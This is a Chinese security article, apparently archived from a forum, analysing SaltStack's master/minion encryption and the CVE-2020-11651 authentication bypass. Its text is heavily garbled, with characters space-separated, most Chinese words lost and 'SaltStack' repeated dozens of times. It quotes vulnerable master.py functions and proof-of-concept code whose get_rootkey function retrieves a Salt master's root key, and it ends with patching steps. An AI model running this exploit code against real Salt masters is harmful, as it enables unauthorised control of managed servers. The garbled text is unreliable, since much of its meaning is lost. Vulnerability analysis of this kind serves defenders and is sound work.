[6816] 2020-07-11_SaltStack的通讯及安全机制和CVE-2020-11651(身份验证绕过漏洞)分析(一)

文档创建者:s7ckTeam
浏览次数:9
最后更新:2025-01-17
2020-07-11_SaltStack的通讯及安全机制和CVE-2020-11651(身份验证绕过漏洞)分析(一) S a l t S t a c k   C V E - 2 0 2 0 - 1 1 6 5 1 ( ) E   2 0 2 0 - 0 7 - 1 1   4 c k 1 k 使 1 . S a l t s t a c k S a l t   ( ) 使 2 . 使 使 S a l t S a l t s e r v e r s a l t 使 s e r v e r / c l i e n t d a e m o n s a l t 3 . S a l t 使 使 使 S a l t 使 N o . 1 N o . 1 S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t   -   S S H     .
  S a l t   m a s t e r   S a l t   m i n i o n S a l t   m a s t e r     S a l t   m i n i o n   S a l t   m a s t e r   N o . 2 N o . 2 S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t   m a s t e r     m i n i o n   -   S a l t   m i n i o n     m i n i o n   便   S a l t   m a s t e r     4 5 0 5     4 5 0 6  
N o . 3 N o . 3   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n   S a l t   m i n i o n ( 1 ) .   m i n i o n     m a s t e r   m i n i o n     S a l t   m a s t e r ( 2 ) . S a l t   m i n i o n     m a s t e r   使   s a l t - k e y     S a l t   m i n i o n   S a l t   m a s t e r     m i n i o n     m i n i o n   ( 3 ) .   S a l t   m i n i o n   S a l t   m a s t e r     m a s t e r     A E S     S a l t
m i n i o n   S a l t   m i n i o n     A E S     m i n i o n     S a l t   m i n i o n   N o . 4 N o . 4 S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t   m a s t e r     S a l t   m i n i o n     A E S   A E S     T L S   使   C B C   N o . 5 N o . 5 S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t     A E S     S a l t   m a s t e r     S a l t   m i n i o n     S a l t   m a s t e r     S a l t   m a s t e r     S a l t   m i n i o n     A E S   N o . 6 N o . 6 S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t   m a s t e r     m i n i o n     A E S     S a l t   m a s t e r     m i n i o n     A E S     A E S     S a l t   p i l l a r     m i n i o n   m a s t e r     m i n i o n   A E S   N o . 7 N o . 7 S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k S a l t S t a c k   m i n i o n   S a l t   访 A C L   m i n i o n     m i n i o n S a l t     m i n i o n   N o . 8 N o . 8 h t t p s : / / g i t h u b . c o m / s a l t s t a c k / s a l t s a l t - 3 0 0 0 . t a r . g z h t t p s : / / p y p i . o r g / s i m p l e / s a l t / t a r   - x v z f   s a l t - 3 0 0 0 . t a r . g z
p y t h o n 3   s e t u p . p y   i n s t a l l   s u d o   s a l t - m a s t e r 4 5 0 5 4 5 0 6 N o . 9 N o . 9 C V E - 2 0 2 0 - 1 1 6 5 1 C l e a r F u n c s _ s e n d _ p u b m a s t e r ( z e r o m q ) r o o t s a l t / m a s t e r / m a s t e r . p y
2 1 9 6   d e f   _ s e n d _ p u b ( s e l f ,   l o a d ) :       ' ' '       T a k e   a   l o a d   a n d   s e n d   i t   a c r o s s   t h e   n e t w o r k   t o   c o n n e c t e d   m i n i o n s       ' ' '       f o r   t r a n s p o r t ,   o p t s   i n   i t e r _ t r a n s p o r t _ o p t s ( s e l f . o p t s ) :               c h a n   =   s a l t . t r a n s p o r t . s e r v C l e a r F u n c s _ p r e p _ a u t h _ i n f o m a s t e r r o o t r o o t   k e y 使 r o o t   k e y m a s t e r s a l t / m a s t e r / m a s t e r . p y 2 1 5 3 d e f   _ p r e p _ a u t h _ i n f o ( s e l f ,   c l e a r _ l o a d ) :       s e n s i t i v e _ l o a d _ k e y s   =   [ ]       k e y   =   N o n e       i f   ' t o k e n '   i n   c l e a r _ l o a d :               a u t h _ t y p e   =   ' t o k e n '               e r r _ n a m e   =   ' T o k e n A u t h e n t i c a t i o n E r r o r '               s e n s i t i v e _ l o a d _ k e y s   =   [ ' t o k e n ' ]       e l i f   ' e a u t h '   i n   c l e a r _ l o a d :               a u t h _ t y p e   =   ' e a u t h '               e r r _ n a m e   =   ' E a u t h A u t h e n t i c a t i o n E r r o r '               s e n s i t i v e _ l o a d _ k e y s   =   [ ' u s e r n a m e ' ,   ' p a s s w o r d ' ]       e l s e :               a u t h _ t y p e   =   ' u s e r '               e r r _ n a m e   =   ' U s e r A u t h e n t i c a t i o n E r r o r '               k e y   =   s e l f . k e y N o . 1 0 N o . 1 0 p o c p o c p o c p o c p o c p o c p o c p o c p o c p o c p o c p o c p o c p o c p o c p o c p o c p o c p o c p o c p o c p o c p o c p o c p o c p o c p o c p o c p o c p o c p o c p o c p o c p o c k e y ( 使 h t t p s : / / g i t h u b . c o m / d o z e r n z / c v e - 2 0 2 0 - 1 1 6 5 1 )       d e f   p i n g _ m a s t e r ( ) :       p r i n t ( " A t t e m p t i n g   t o   p i n g   m a s t e r   a t   " + m a s t e r _ i p )       t r y :               m s g   =   { " c m d " : " p i n g " }               r e s p o n s e   =   c l e a r _ c h a n n e l . s e n d ( m s g ,   t i m e o u t = 3 )               i f   r e s p o n s e :                       r e t u r n   T r u e       e x c e p t   s a l t . e x c e p t i o n s . S a l t R e q T i m e o u t E r r o r :               r e t u r n   F a l s e       r e t u r n   F a l s e d e f   g e t _ r o o t k e y ( ) :       t r y :               r e s p o n s e   =   c l e a r _ c h a n n e l . s e n d ( { ' c m d ' : ' _ p r e p _ a u t h _ i n f o ' } ,   t i m e o u t = 2 )               f o r   i   i n   r e s p o n s e :                       i f   i s i n s t a n c e ( i , d i c t )   a n d   l e n ( i )   = =   1 :                               r o o t k e y   =   l i s t ( i . v a l u e s ( ) ) [ 0 ]                               p r i n t ( " R e t r i e v e d   r o o t   k e y :   "   +   r o o t k e y )                               r e t u r n   r o o t k e y               r e t u r n   F a l s e                     e x c e p t :               r e t u r n   F a l s e
r o o t   k e y N o . 1 1 N o . 1 1 C V E - 2 0 2 0 - 1 1 6 5 1 S a l t S t a c k g e t _ m e t h o d 使 g e t _ m e t h o d g e t _ m e t h o d p i n g p u b l i s t g e t _ t o k e n m k _ t o k e n w h e e l r u n n e r
N o . 1 2 N o . 1 2 p y t h o n   - c   " i m p o r t   i m p ;   p r i n t ( i m p . f i n d _ m o d u l e ( ' s a l t ' ) [ 1 ] ) " p a t c h   - p 2   - d   / u s r / l i b / p y t h o n 2 . 7 / d i s t - p a c k a g e s / s a l t   <   2 0 1 7 . 7 . 8 _ C V E - 2 0 2 0 - 1 1 6 5 1 . p a t c h s y s t e m c t l   r e s t a r t   s a l t - m a s t e r s e r v i c e   s a l t - m a s t e r   r e s t a r t E   h t t p s : / / w w w . e a s y a q . c o m F X M S P 访 K i m s u k y I B M i P h o n e U n c 0 v e r   |   2 0 2 0   E
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则